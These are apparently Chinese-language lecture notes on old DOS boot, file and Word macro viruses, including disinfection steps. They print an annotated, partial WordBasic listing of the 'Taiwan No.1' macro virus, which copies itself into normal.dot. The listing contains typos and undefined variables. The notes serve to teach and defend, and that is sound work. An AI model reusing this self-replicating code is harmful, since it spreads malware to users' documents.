一 病毒感染目標:

1. FAT:File Allocation Table,

.2..COM
         CS指向psp起始,IP指向使用者程式起始:   

   PSP

使用者程式

病毒程式

使用者程式

使用者程式

病毒程式

.EXE       

      CS:IP指向檔頭與使用者程式中間      
  檔案頭

使用者程式

修改過之檔案頭

使用者程式

巨集:凡曾開啟中毒文件之Word,繼續感染所有在此Word開啟之文

件(.doc或.doc格式者),且為跨平台(Win95,Win3.1,Win NT)
               且多為normal.dot為媒介,若其中含AutoClose,AutoNew,

               AutoOpen多已中毒   

           Boot Sector及隱藏檔

貳 感染程序:

1. Boot Sector:

           硬碟啟動磁區感染:(stone-b,disk killer)

                      啟動-(ROM BIOS(Partition TAB(讀入且執行病毒

                      (讀入Boot,IO.SYS,MSDOS.SYS(CONFIG.SYS,

                      COMMAND.COM,AUTOEXEC.BAT 

                     硬碟分割區段表之感染:(EDV stoned stone-c)

                     ROM BIOS(讀入,執行病毒(Partition(Boot,IO.SYS

                     MSDOS.SYS(Config.sys,Command.com
2. COMMAND.COM
                     多藉執行command.com,copy,dir等指令時進行,以dir

                     為例,下命令後病毒尋找其他命令處理器檔先感染之

                     再執行dir    . 

          與boot不同在於載入程序,boot較先,boot機可干擾

          所有系統,執行低階破壞.

3. 檔案感染:

          不以.SYS等低階檔為目標,以.EXE,.COM文書處理等

          多以大量感染而使系統飽和,中毒後檔案大小為原來加

          上病毒. 

a. 附著:

   附於.exe後方且修改該程式,使先執行病毒

.COM常留100h給PSP,PSP 內又含int21h,病毒修改

int21h所指向之!中斷向量表始指向病毒 

          對.exe則修改其CS,IP指向病毒.

b. 插入型:

   加病毒碼於可執行程式知資料區或未始用之程式

碼,始檔案大小不變 .

c. 替代型:

   刪除檔案以病毒碼代之,檔案大小為病毒大小

d. 重定向型:

   控制中心位於一或多個磁碟位置,如partition area,

boot sector,隱藏檔.以a或b方法加入一小段工作病毒,
執行此些程式則引至主要病毒,主要病毒執行後再交回原程式.工作病毒可小至2Byte為加入int.

e. 複合型:

   感染boot,command.com,.com,.exe,檔案可感染boot sector,dos核心,始用者程式等.

f.  記憶體常駐:

command.com與boot皆屬此,存於記憶體內,與正常TSR

差於無熱鍵呼叫,於載入時即動作,其一直操縱電腦動作,
甘擾動作,截取鍵盤輸入,更改螢幕,即使正常工作亦尋找破壞未受感染者.下為程式載入後記憶體分布:

系統保留區
以RETURN結束之磁碟

存取程式

未始用記憶體

使用者啟動之應用程式

(磁碟存取之系統函數)

 OS對應於磁碟存取之向量

      病毒加入後:

系統保留區
以RETURN結束之磁碟

存取程式

未始用記憶體

使用者啟動之應用程式

(磁碟存取之系統函數)

常駐病毒程式

(存於CPU暫存器,複製,跳至磁碟存取副程式

 OS對應於磁碟存取之向量

4. 巨集:

利用Word開啟前必先開啟Normal.doc由該範本感染後來開啟之文件.Office 7.0中的Template存放Normal.doc,Startup則必會去開啟範本進而感染.Word97提供一層保護,但僅只於開啟巨集.

參 病毒碼:
         僅以Taiwan No.1為例:

         AutoOpen: Taiwan No.1

         Dim shared nm ( 4 )         'nm ( ) 設為全域變數

         Sub MAINFAIN

         DisableInput 1

         If Day ( Now ( ) ) =13 Then    '若今為13日

         try:

         On Error Goto 0       '取消此之前錯誤程序

         On Error Goto try      '設定新錯誤處理程序

         test = -1

         con = 1

         tog$ =""

         i = 0

           While test = -1

             For I = 0 to 4

                nm ( i ) = Int ( Rnd ( ) *10000 )    '產生4位亂數

                con = ( con*nm ( i ) )        'con 為目前答案               

                If  i =4 Then

                    tog$ = tog$ + Str$ ( nm ( 4 ) ) + " = ? "

                Goto  beg

End  If

tog$ = tog$ + Str$ ( nm ( i ) ) + " * "

            Next  i 

         beg :

            Beep

            ans$ = InputBox$ ( "今天是 " + Date$ ( ) + " .跟你玩一個心算遊戲\

            " + Chr$ ( 13 ) + "若你答錯,只好接受震撼教育………."\

             + Chr$ ( 13 ) + tog$. "台灣 NO.1 Macro Virus")

             If  RTrim$ ( LTrim$ ( ans$ ) ) = LTrim$ ( Str$ ( con ) ) Then

         '如果答對答案,執行此

            MsgBox "恭喜你答對了 ,按確定就告訴你想知道的….".\

                   "台灣 NO.1 Macro Virus"
            FileNewDefault         '跟據normal.doc建立新文件
            CenterPara             '靠中對齊

            FormatFont  .Font = "細明體",  .points = 16.\  '字型

                       .Bold = 1, .Underline = 1

            Beep                    '嗶聲

            Insert  "何謂巨集病毒 ? "

            InsertPara

            Beep

            Insert " 答案: "

            Italic 1

            Insert "我就是….."

            InsertPara

            InsertPara

            Italic  0

            FormatFont  .Font = "細明體",  .Points = 16.\

                       .Bold = 1, .Underline = 1

            Beep 

            Insert " 如何預防巨集病毒 ? "

            InsertPara

            Beep

            Insert " 答案:"

            Italic 1

            Insert " 不要看我….."

            Goto exit

         Else

          '若錯,開20新文件

            For  j = 1 to 20

                Beep

                FileNewDefault

            Next  j

            CenterPara

            FormatFont  .Font = " 細明體 ", . Points = 16, .Bold = 1,\

                       .Underline =  1

            Insert  "巨集病毒"

            Goto try      "再一次

          End If
        Wend

      End If

      nor=CountMacros ( 0 )      '取得 normal.dot 巨集總數

      If nor > 0 Then

        For kk=1 to nor

          '找AutoOpen

          If  MacroName$ ( kk , 0 ) = "AutoOpen Then

              t = 1     '找到設flag = 1

          End  If

        Next  kk

      End If

      file$ = FileName$ ( )      '取目前使用中檔案名

      file$ = file$ + ":AutoOpen"

      If  flag < > 1 Then   'normal.doc 未感染

          ' 把file$中指定巨集複製成normal.doc 中之AutoOpen

           MacroCopy filem$, "AutoOpen"      

           ' 把file$中指定巨集複製成normal.doc 中之AutoNew

           MacroCopy filem$, "AutoNew"

           ' 把file$中指定巨集複製成normal.doc 中之AutoClose

           MacroCopy filem$, "AutoClose"

      End If

      nor1 = CountMacros ( 1 )  '取得使用中檔案巨集總數

      If  nor > 0 Then

         For  kkk = 1 to nor1

               ' 找AutoOpen

             If  MacroNamw$ (kkk , 1) = "AutoOpen" Then

                   tt = 1      '設flag tt = 1

             End If

        Next  kkk

      End If

肆 解毒:

        一 Boot Sector:

           1 .以Debug:

                    若已知污染區域:

                    -a

                    xxxx:xxxx   mov   ax,0201

                    xxxx:xxxx   mov   ax,0200

                    xxxx:xxxx   mov   cx,PPPP(磁軌磁區位址

                    xxxx:xxxx   mov   dx,0080                                   xxxx:xxxx   int     13

                    xxxx:xxxx   mov   ax,301

                    xxxx:xxxx   mov   cx,1

                    xxxx:xxxx   int     13

                    xxxx:xxxx   int 3

                    xxxx:xxxx

                    -g

                    -q

2. 以Dos 之 sys

     以開機片開機(a:\>SYS C:出現system transferred 系統已轉換,若No room for system file,先刪IO.SYS,MSDOS.SYS,轉換後再拷回.

        二.command.com:

             開機後 A:\>SYS [d:]       d:磁碟機

        三.檔案型:

                 1.  .COM:             

                     a.

                       a1.求出原始大小  

                       a2.將被病毒搬移之byte移至檔案開頭

                       a3.重設檔長存之                              

                     .b.刪除(檔案已破壞)
      2   .EXE

          11.求病毒長度,感染後長度,CS,IP,SS,SP位置

          12.改檔名為非.exe執行debug

          13.還原檔案標頭資料

          14.原始檔大小存至CX

          15.存檔改回.exe              

